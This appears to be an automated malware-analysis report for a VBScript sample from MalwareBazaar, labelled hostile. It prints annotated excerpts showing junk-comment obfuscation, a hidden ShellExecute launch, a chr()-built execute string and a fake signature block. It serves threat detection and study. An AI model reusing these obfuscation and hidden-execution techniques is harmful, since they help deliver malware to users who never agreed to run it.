05f93f2b503afa4ab697ae597cfe20e698b403a19516565f7d2277542f755e37
VBS
Verdict: HOSTILE
Local reference
Suspicious dependency
Inferred
05f93f2b503afa4ab697ae597cfe20e698b403a19516565f7d2277542f755e37.vbs
vbs
| 143 |
Rem Forfrdes barografen: saltern lauwine sukkulentes168 |
|
| 144 |
Rem kropskontakts afgrelsesformers? barselpatienterne? |
|
| 145 |
Set Uselvstndigheden28 = CreateObject("Scripting.FileSystemObject") |
|
| 146 |
Rem Varselraab, delezonens: brandbombes6 queak solvarmers |
|
| 147 |
Rem Cyklotronernes! farvepragts134; |
|
| 358 |
Rem Brnehjemmet? trylletaster monogamously skovrigeres! |
|
| 359 |
Rem Kongevand; forhindrede prasine |
|
| 360 |
Set sygeres = Uselvstndigheden28.OpenTextFile("C:\Windows\notepad.exe", 1) |
Reads text via FileSystemObject |
| 3701 |
Rem Antonella tokay! |
|
| 3702 |
Rem Igennen frittede dumheder99 uncages, prestidigitations? |
|
| 3703 |
Set Dalers = CreateObject("Shell.Application") |
Obfuscated VBScript launches hidden ShellExecute process |
| 3704 |
Rem Brokkerierne16 labyrinternes. sparringly; |
|
| 3705 |
Rem Zapote? prveperiode flowe. unsadness; |
|
| 4509 |
Rem Smalfilmers tricae! admonish heliometres dupion176! |
|
| 4510 |
Rem Vapulary ritualistic vkkelsesprdikantens decourt, smlse77. |
|
| 4511 |
Call Dalers.ShellExecute(Absurdistisk,Pterographic & Foister & Pterographic ,pierre,Ferring,0) |
Obfuscated VBScript launches hidden ShellExecute process |
| 4512 |
Rem Fremlagte231 dystonia! asweat snigskytters peridentium. |
|
| 4513 |
Rem Lorders. anthol graperoot sankekortene; |
|
| 4961 |
Rem Widdling98 mnstergenereringernes228 |
|
| 4962 |
Rem Eyeing saalnge. |
|
| 4963 |
execute "oRE."+chr(80)+"attern = Anvendelsesforms233" |
Obfuscated VBScript launches hidden ShellExecute process |
Objectives
| 4961 |
Rem Widdling98 mnstergenereringernes228 |
|
| 4962 |
Rem Eyeing saalnge. |
|
| 4963 |
execute "oRE."+chr(80)+"attern = Anvendelsesforms233" |
|
| 3701 |
Rem Antonella tokay! |
|
| 3702 |
Rem Igennen frittede dumheder99 uncages, prestidigitations? |
|
| 3703 |
Set Dalers = CreateObject("Shell.Application") |
|
| 3704 |
Rem Brokkerierne16 labyrinternes. sparringly; |
|
| 3705 |
Rem Zapote? prveperiode flowe. unsadness; |
|
| 4509 |
Rem Smalfilmers tricae! admonish heliometres dupion176! |
|
| 4510 |
Rem Vapulary ritualistic vkkelsesprdikantens decourt, smlse77. |
|
| 4511 |
Call Dalers.ShellExecute(Absurdistisk,Pterographic & Foister & Pterographic ,pierre,Ferring,0) |
|
| 4512 |
Rem Fremlagte231 dystonia! asweat snigskytters peridentium. |
|
| 4513 |
Rem Lorders. anthol graperoot sankekortene; |
|
| 3701 |
Rem Antonella tokay! |
|
| 3702 |
Rem Igennen frittede dumheder99 uncages, prestidigitations? |
|
| 3703 |
Set Dalers = CreateObject("Shell.Application") |
|
| 3704 |
Rem Brokkerierne16 labyrinternes. sparringly; |
|
| 3705 |
Rem Zapote? prveperiode flowe. unsadness; |
|
| 4509 |
Rem Smalfilmers tricae! admonish heliometres dupion176! |
|
| 4510 |
Rem Vapulary ritualistic vkkelsesprdikantens decourt, smlse77. |
|
| 4511 |
Call Dalers.ShellExecute(Absurdistisk,Pterographic & Foister & Pterographic ,pierre,Ferring,0) |
|
| 4512 |
Rem Fremlagte231 dystonia! asweat snigskytters peridentium. |
|
| 4513 |
Rem Lorders. anthol graperoot sankekortene; |
|
| 4961 |
Rem Widdling98 mnstergenereringernes228 |
|
| 4962 |
Rem Eyeing saalnge. |
|
| 4963 |
execute "oRE."+chr(80)+"attern = Anvendelsesforms233" |
|
| 3701 |
Rem Antonella tokay! |
|
| 3702 |
Rem Igennen frittede dumheder99 uncages, prestidigitations? |
|
| 3703 |
Set Dalers = CreateObject("Shell.Application") |
|
| 3704 |
Rem Brokkerierne16 labyrinternes. sparringly; |
|
| 3705 |
Rem Zapote? prveperiode flowe. unsadness; |
|
| 4509 |
Rem Smalfilmers tricae! admonish heliometres dupion176! |
|
| 4510 |
Rem Vapulary ritualistic vkkelsesprdikantens decourt, smlse77. |
|
| 4511 |
Call Dalers.ShellExecute(Absurdistisk,Pterographic & Foister & Pterographic ,pierre,Ferring,0) |
|
| 4512 |
Rem Fremlagte231 dystonia! asweat snigskytters peridentium. |
|
| 4513 |
Rem Lorders. anthol graperoot sankekortene; |
|
Micro-behaviors
| 1005 |
Rem Damnit24 fanglinernes197 liken kibbutzim; lithification |
|
| 1006 |
Rem Intervalic ejecting122 fortndings incontractile. |
|
| 1007 |
Fortykkelsers = Arbitrament.ReadAll |
|
| 1008 |
Rem Spisepausens: polygamise! |
|
| 1009 |
Rem Tengerite, upwind tilside |
|
| 358 |
Rem Brnehjemmet? trylletaster monogamously skovrigeres! |
|
| 359 |
Rem Kongevand; forhindrede prasine |
|
| 360 |
Set sygeres = Uselvstndigheden28.OpenTextFile("C:\Windows\notepad.exe", 1) |
|
| 143 |
Rem Forfrdes barografen: saltern lauwine sukkulentes168 |
|
| 144 |
Rem kropskontakts afgrelsesformers? barselpatienterne? |
|
| 145 |
Set Uselvstndigheden28 = CreateObject("Scripting.FileSystemObject") |
|
| 146 |
Rem Varselraab, delezonens: brandbombes6 queak solvarmers |
|
| 147 |
Rem Cyklotronernes! farvepragts134; |
|
| 3701 |
Rem Antonella tokay! |
|
| 3702 |
Rem Igennen frittede dumheder99 uncages, prestidigitations? |
|
| 3703 |
Set Dalers = CreateObject("Shell.Application") |
|
| 3704 |
Rem Brokkerierne16 labyrinternes. sparringly; |
|
| 3705 |
Rem Zapote? prveperiode flowe. unsadness; |
|
| 4509 |
Rem Smalfilmers tricae! admonish heliometres dupion176! |
|
| 4510 |
Rem Vapulary ritualistic vkkelsesprdikantens decourt, smlse77. |
|
| 4511 |
Call Dalers.ShellExecute(Absurdistisk,Pterographic & Foister & Pterographic ,pierre,Ferring,0) |
|
| 4512 |
Rem Fremlagte231 dystonia! asweat snigskytters peridentium. |
|
| 4513 |
Rem Lorders. anthol graperoot sankekortene; |
|
| 4961 |
Rem Widdling98 mnstergenereringernes228 |
|
| 4962 |
Rem Eyeing saalnge. |
|
| 4963 |
execute "oRE."+chr(80)+"attern = Anvendelsesforms233" |
|
Metadata
| 5605 |
'' SIG '' adPgs8HvdhyuXAeFqxtxZaCCBc0wggXJMIIDsaADAgEC |
|
| 5606 |
'' SIG '' AhRablwIai20HtVWa4olhHAk05UZBzANBgkqhkiG9w0B |
|
| 5607 |
'' SIG '' AQsFADB0MQswCQYDVQQGEwJVUzEWMBQGA1UECgwNU3Rh |
|
| 5608 |
'' SIG '' Znlsb2tva2tlcjE1MDMGA1UECwwsVmVuc2thYnNhZnRh |
|
| 5609 |
'' SIG '' bGVzIE1hc2tpbnNrYWRlcm5lIHVkc2tpbGxlbHNlciAx |
|
| 5610 |
'' SIG '' FjAUBgNVBAMMDVN0YWZ5bG9rb2trZXIwHhcNMjYwNzA4 |
|
| 143 |
Rem Forfrdes barografen: saltern lauwine sukkulentes168 |
|
| 144 |
Rem kropskontakts afgrelsesformers? barselpatienterne? |
|
| 145 |
Set Uselvstndigheden28 = CreateObject("Scripting.FileSystemObject") |
|
| 146 |
Rem Varselraab, delezonens: brandbombes6 queak solvarmers |
|
| 147 |
Rem Cyklotronernes! farvepragts134; |
|
| 901 |
Rem Stttepunkts. floundered balletten |
|
| 902 |
Rem Fuye. retsgrundstningen, returneredes scrivenery |
|
| 903 |
End If |
|
| 904 |
Rem Solemniser aleia: srgmodigt: havbiologiskes |
|
| 905 |
Rem brndglassenes epizoology! pricky mesternes |
|
| 4616 |
Rem Propylalkohols skldudene; uriconian! |
|
| 4617 |
Rem Possessing, kollokvium samfundsvidenskab! bolsterwork, |
|
| 4618 |
Function Revaporization45 (Hjrnepunkternes,Anvendelsesforms233,Lavendelen) |
|
Identity
| SHA-256 |
05f93f2b503afa4ab697ae597cfe20e698b403a19516565f7d2277542f755e37 |
| Filename |
05f93f2b503afa4ab697ae597cfe20e698b403a19516565f7d2277542f755e37.vbs |
| Package |
05f93f2b503afa4ab697ae597cfe20e698b403a19516565f7d2277542f755e37 |
Origin
| Source |
harvest |
| Feed |
malwarebazaar |
| Domain |
abuse.ch |
Timeline
| First seen |
29 Jul 2026 03:44 UTC |
| First analyzed |
29 Jul 2026 14:28 UTC |
| Last analyzed |
29 Jul 2026 14:28 UTC |
| Last updated |
29 Jul 2026 14:28 UTC |
Labeling
| Label |
bad |
| Label source |
harvest |
| Traits version |
6a958 |